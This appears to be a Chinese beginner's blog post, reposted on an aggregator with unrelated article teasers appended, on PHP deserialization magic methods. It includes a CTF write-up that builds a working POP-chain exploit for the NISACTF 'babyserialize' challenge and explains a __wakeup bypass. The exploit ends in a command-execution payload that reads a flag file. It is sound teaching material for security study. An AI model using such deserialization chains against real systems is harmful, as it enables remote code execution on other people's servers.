初学php反序列化

php中,序列化和反序列化是相对的两个过程,序列化是把变量或对象转化成字符串的过程

反序列化是把字符串转换为变量过着对象的过程

在php的反序列化中,存在类,当类被以特定的方式就会触发魔术方法,在实行序列化的过程中,合理的调用魔术方法,是能成功的关键;尤其在pop链的构造中,需要在多个类中调用不同的魔术方法,来构成完整正确的链。对于pop链的构造,优先找到链尾,明确了在链尾需要调用到什么魔术方法来实现,再往上反推

记录一下目前为止,我遇到过的魔术方法

_construct(),构造函数,当在实例化一个对象时会被调用,也就是new一个对象时会调用

<?php
class G{
 
    public $user;
 
    public function __construct()
    {
        $this->user = $user;
        echo "__construct test";
    }
 
}
$g = new G;
echo serialize($g)

_destruct(),折构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,在new完一个对象后,如果有赋值的指像,那么就会丢弃并触发__destruct,在new和unserialize时会触发

<?php
class G{
 
    public $user;
 
    public function __destruct()
    {
        $this->user = $user;
        echo "__destruct test";
    }
 
}
$g = new G;
$a=serialize($g);
echo unserialize($a);
?>

_invoke()函数,用调用函数的方法调用一个对象

<?php
class G{
 
    public $user;
 
    public function __invoke()
    {
        eval($this->$user);
    }
 
}
$g = new G;
?>

_toString(),对象被当做字符串调用时触发,或者echo时触发

<?php
class G{
 
    public $user;
 
    public function __invoke()
    {
        system($this->$user);
    }
 
}
$g = new G;
echo $g;
?>

_wakeup(),执行unserialize时触发,这个函数又是需要绕过,绕过的方法就是让我们构造的序列化的字符串中的对象数量大于真实存在的数量就可以了,因为反序列化的过程中,php会忽略掉多出来的数据

看看题吧

[SWPUCTF 2021 新生赛]no_wakeup

http://t.csdnimg.cn/uG79E

[NISACTF 2022]babyserialize

先看源代码,有4个类,需要构造pop链了

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

构建pop链要先找到链尾,链尾有什么特征呢(一般链尾都是具有eval,include这些高危函数,能够让我们利用来获取flag的地方)

public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }

eval函数,很明显就是能够利用获取flag的位置,作为链尾,然后开始反推,要先触发invoke对象,才会执行eval函数,invoke函数在将对象以函数的形式调用时触发,到所有类中寻找调用函数的

public function __toString(){
        $bb = $this->su;
        return $bb();

下一步,触发tostring函数,寻找调用字符串的,找到strtolower函数,该函数是将字符串转换成小写

public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }

__set(),在对不存在或者不可访问的成员变量进行赋值就会自动调用,去寻找类中没被定义的变量,fun是没有被定义的,所以不存在

public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

_call调用一个不可访问的方式触发,调用了nisa,但是这个类中不存在,因此无法访问

public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }

现在的wakeup又回到了NISA,一条pop链就完成了

<?php
class NISA{
    public $fun="123";
    public $txw4ever="System('cat /fllllllaaag ');";
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="abc";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$n=new NISA;
$i=new Ilovetxw;
$i->su=$n;
$f=new four;
$f->a=$i;
$i=new Ilovetxw;
$i->huang=$f;
$t=new TianXiWei;
$t->ext=$i;
echo urlencode(serialize($t));
?>

 疑惑:

在写完pop链以后,再细细想一想发现在_call和_set 函数在触发的条件有点疑惑(不知道大家有没有疑惑),去查了资料,请教了师兄,发现了两种方法的区别,先来看两种方法的代码

__call()方法是一个魔术方法,用于在对象中调用不存在或不可见的方法时被自动调用。在反序列化过程中,如果对象中定义了__call()方法,PHP会在调用不存在的方法时执行该方法。_call()
class MyClass {
    public function __call($method, $args) {
        echo "Calling method $method with arguments: " . implode(', ', $args);
    }
}

// 序列化一个对象
$serializedData = 'O:7:"MyClass":0:{}';

// 反序列化对象
$obj = unserialize($serializedData);

// 调用不存在的方法
$obj->someMethod(1, 2, 3);
__set()方法是一个魔术方法,用于在给对象的不可访问属性赋值时被自动调用。在反序列化过程中,如果对象中定义了__set()方法,PHP会在设置对象的不可访问属性时执行该方法。
class MyClass {
    public function __set($name, $value) {
        $this->$name = $value;
        echo "Setting property $name to $value";
    }
}

// 序列化一个对象
$serializedData = 'O:7:"MyClass":0:{}';

// 反序列化对象
$obj = unserialize($serializedData);

// 设置对象属性
$obj->someProperty = 'someValue';
两种方法都访问了不存在的“东西”,但是注意看在访问时赋值的对象,set是设置的是不可访问的属性,因此是用=和‘’来赋值;call是设置不可访问的方法,是利用数组来传递的方法的值,因此在pop链中同时出现set和call是要仔细辨别触发的条件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/489340.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

element ui的下拉选择单选和多选

单选&#xff1a; html代码&#xff1a; <el-form-item label"指令分类: "><el-select v-model"cid" style"width:100%;" placeholder"请选择指令分类" clearable><el-option v-for"item in orderCidList"…

服务器中有g++,但是查询不到,Command ‘g++‘ not found

有gcc但是查询不到g&#xff0c;gcc版本为9.5.0 (base) zyICML:~$ g -V Command g not found, but can be installed with: apt install g Please ask your administrator. 突然就出现这个问题&#xff0c;导致detectron装不上&#xff0c;现在有时间了专门研究下怎么解决 这…

React Native 应用打包

引言 在将React Native应用上架至App Store时&#xff0c;除了通常的上架流程外&#xff0c;还需考虑一些额外的优化策略。本文将介绍如何通过配置App Transport Security、Release Scheme和启动屏优化技巧来提升React Native应用的上架质量和用户体验。 配置 App Transport…

❤ leetCode简易题1-两数之和、简易2--回文数判断、简易14-最长公共前缀

❤ leetCode简易题1-两数之和、简易题14- 最长公共前缀 1、简易1-两数之和 ① 题目要求 数字A B target&#xff0c;以target为求和结果&#xff0c;找出数组中符合的A、B数字下标。 第一次做的时候完全脑子一片蒙&#xff0c;随后认真看了看题目发现是发现找符合target和…

基于springboot+vue+Mysql的超市进销存系统

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

3.25C++

定义自己的命名空间&#xff0c;其中有string类型的变量&#xff0c;再定义两个函数&#xff0c;一个函数完成字符串的输入&#xff0c;一个函数完成求字符串长度&#xff0c;再定义一个全局函数完成对该字符串的反转 #include <iostream> #include <cstring> usi…

数据在内存的存储(2)【浮点数在内存的存储】

一.浮点数以什么形式存储在内存中 根据根据国际标准IEEE&#xff08;电气和电子工程协会&#xff09;754&#xff0c;任意一个二进制浮点数V都可以存储为这样的形式&#xff1a; V&#xff08;-1&#xff09;^S*M*2^E。 &#xff08;1&#xff09;&#xff08;-1&#xff09;^…

Unix环境高级编程-学习-08-自旋锁与屏障

目录 一、多线程相关文章链接 二、自由抒发 1、自旋锁 2、屏障 三、函数介绍 1、pthread_spin_init &#xff08;1&#xff09;声明 &#xff08;2&#xff09;作用 &#xff08;3&#xff09;参数 &#xff08;4&#xff09;返回值 &#xff08;5&#xff09;注意点 …

docker centos7安装jdk1.8(在线和离线方式)

目录 1.在线方式1.1.进入容器1.2.使用yum安装openjdk1.3.配置环境变量 2.离线方式2.1.下载jdk安装包2.2.解压2.3.配置环境变量 3.可能遇到的问题 1.在线方式 1.1.进入容器 1.2.使用yum安装openjdk # 安装JDK1.8 yum install java-1.8.0-openjdkjava -version1.3.配置环境变量…

RPA-财务对账邮件应用自动化(客户对账机器人)

《财务对账邮件应用自动化》&#xff0c;将会使用邮箱的SMTP服务&#xff0c;小北把资源包绑定在这篇博客了 Uibot (RPA设计软件)———机器人的小项目友友们可以参考小北的课前材料五博客~ (本博客中会有部分课程ppt截屏,如有侵权请及请及时与小北我取得联系~&#xff09; …

Netty学习——源码篇6 Pipeline设计原理 备份

1 Pipeline设计原理 在Netty中每个Channel都有且仅有一个ChannelPipeline与之对应&#xff0c;它们的组成关系如下图&#xff1a; 通过上图可以看到&#xff0c;一个Channel包含了一个ChannelPipeline&#xff0c;而ChannelPipeline中又维护了一个由ChannelHandlerContext组成的…

零基础学python之高级编程(6)---Python中进程的Queue 和进程锁,以及进程池的创建 (包含详细注释代码)

Python中进程的Queue 和进程锁,以及进程池的创建 文章目录 Python中进程的Queue 和进程锁,以及进程池的创建前言一、进程间同步通信(Queue)二、进程锁&#xff08;Lock&#xff09;三、创建进程池Poorpool 类方法: End! 前言 大家好,上一篇文章,我们初步接触了进程的概念及其应…

【随笔】Git -- 常用命令(四)

&#x1f48c; 所属专栏&#xff1a;【Git】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f496; 欢迎大…

第16篇:奇偶校验器

Q&#xff1a;本期我们将实现4位奇偶校验逻辑电路&#xff0c;即校验4位二进制代码中 “1” 的个数是奇数或偶数。 A&#xff1a;奇偶校验器的基本原理&#xff1a;采用异或运算对“1”的奇偶个数进行校验&#xff0c;从最高位依次往最低位进行连续异或运算。如果最后的异或运…

stm32控制电机--计算电角度以及电角度和机械角度的对应关系---以及foc的控制算法模型及过程(推荐)

1&#xff0c;电角度和机械角度的关系 如何区分电角度和机械角度&#xff1f; 2&#xff0c;foc模型工程&#xff08;推荐&#xff09; SimpleFOC移植STM32&#xff08;四&#xff09;—— 闭环控制 注意速度需要进行低通滤波

使用Docker Compose一键部署前后端分离项目(图文保姆级教程)

一、安装Docker和docker Compose 1.Docker安装 //下载containerd.io包 yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm //安装依赖项 yum install -y yum-utils device-mapper-persistent-data l…

消费电子回暖之际,手机回收厂商如何持续释放“绿色潜力”?

春天到来的暖意&#xff0c;正在消费电子产业链上下游蔓延。 仅就手机这一品类而言&#xff0c;可以看到&#xff0c;2023年手机厂商已经度过寒冬&#xff0c;中国信息通信研究院发布的数据显示&#xff0c;2023年1-12月&#xff0c;我国手机总体出货量累计2.89亿部&#xff0…

新生儿奶瓶怎么选择?5款口碑榜单奶瓶推荐

新生儿奶瓶是每个新手爸妈都要选择的喂养产品&#xff0c;除了喂养宝宝外&#xff0c;还能帮助宝宝渡过戒奶期。然而近年来&#xff0c;市面上出现一些低质量、劣质材料制成的奶瓶&#xff0c;频频被爆安全隐患&#xff0c;给消费者带来极大的不便和风险。那么你知道什么牌子的…

Linux的学习之路:1、发展史与编译环境的搭建

一、发展史 1991年10月5日&#xff0c;赫尔辛基大学的一名研究生Linus Benedict Torvalds在一个Usenet新闻组 &#xff08;comp.os.minix&#xff09;中宣布他编制出了一种类似UNIX的小操作系统&#xff0c;叫Linux。新的操作系统是受到另一个UNIX的小操作系统——Minix的启发…
最新文章